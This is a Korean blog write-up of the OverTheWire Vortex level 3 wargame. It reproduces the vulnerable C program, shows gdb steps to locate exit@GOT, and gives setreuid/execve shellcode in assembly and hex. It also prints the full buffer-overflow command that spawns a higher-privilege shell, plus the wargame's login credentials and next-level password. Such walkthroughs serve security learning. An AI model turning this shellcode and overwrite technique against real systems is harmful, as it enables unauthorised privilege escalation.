2013. 10. 10. 00:13


[vortex] level3 -> level4


IP : 178.79.134.250

PORT : 22

ID : vortex3

PW : 64ncXTvx#

http://www.overthewire.org/wargames/vortex/vortex3.shtml ]

Level 3 → Level 4

1 /* 2 * 0xbadc0ded.org Challenge #02 (2003-07-08) 3 * 4 * Joel Eriksson <je@0xbadc0ded.org> 5 */ 6 7 #include <string.h> 8 #include <stdlib.h> 9 #include <stdio.h> 10 11 unsigned long val = 31337; 12 unsigned long *lp = &val; 13 14 int main(int argc, char **argv) 15 { 16 unsigned long **lpp = &lp, *tmp; 17 char buf[128]; 18 19 if (argc != 2) 20 exit(1); 21 22 strcpy(buf, argv[1]); 24 if (((unsigned long) lpp & 0xffff0000) != 0x08040000) 25 exit(2); 27 tmp = *lpp; 28 **lpp = (unsigned long) &buf; 29 // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30 30 31 exit(0); 32 }


중요시 봐야할 점은 29번째 라인까지 왔을때의 포인터 관계는 다음과 같다 .
tmp = *lpp  // lpp 가 가르키는 값 즉 val 값이 들어간다.
**lpp=&buf; //buffer에 쉘코드를 박으면 **lpp는 그것을 가르킨다.

변조한 *lpp 이 가르키는 곳에 &buff, 즉 쉘코드를 가르키게 할 수 있다.
ret 을 덮어 띄워서 일반적인 BOF를 하고 싶지만 코드 끝에 exit(0) 이 있어서
ret을 호출하기 전에 종료 되므로 다른 방법을 써야 한다.

방안 1) dtors 를 덮어 씌워 종료시 쉘코드를 호출 시킨다.  
       //다른 블로그엔 이방법을 많이 썼으나 필자는 dtors를 가르키는 주소가 없음.

방안 2) exit@got 을 덮어 씌운다. 두번째 exit가 호출될 때 쉘코드가 호출 된다.

(gdb) x/xi 0x8048320  //exit@PLT
   0x8048320 <exit@plt>: jmp    *0x8049738

(gdb) p exit 
$1 = {<text variable, no debug info>} 0x8048320 <exit@plt>
//code section 부터 0x8049738 주소가 있는 곳을 뒤져볼 생각이였음.

(gdb) find  0x8048320 , + 10000 , 0x8049738
warning: Unable to access target memory at 0x8048320, halting search.
Pattern not found. 
//access 권한이 없어서 검색 범위를 좁힘.

(gdb) find  0x8048320 , +100 , 0x8049738
0x8048322 <exit@plt+2>
//이 주소가 가르키는 곳이 exit@got 이다.

1 pattern found.

스택의 구조는 아래와 같다. 
stack struct
[ buff = 128 ] [ tmp = 4 ] [ lpp = 4  ] [ sfp ] [ ret ] 

 shellcode(43) + dummy(89) + *(exit@got) 

[shellcode k1rha.s]

.global main

main:

xor %ecx,%ecx

mov $0x138c, %cx

xor %ebx,%ebx

mov $0x138c, %bx

xor %eax,%eax

mov $0x46, %al

int $0x80


xor %eax,%eax

xor %edx,%edx


movb $0xb,%al

push %edx

push $0x68732f2f

push $0x6e69622f

mov %esp,%ebx

push %edx

push %ebx

movl %esp,%ecx

int $0x80


gcc -o k1rha k1rha.s -m32 -z execstack  //stack 실행권한 및 32비트 설정

sizeof( \x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 ) == 43 byte



[ attack ]

vortex3@melinda:/vortex$ ./vortex3 `python -c 'print "\x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "a"*89 + "\x22\x83\x04\x08"'`
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw


'War_Game > Vortex' 카테고리의 다른 글

[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha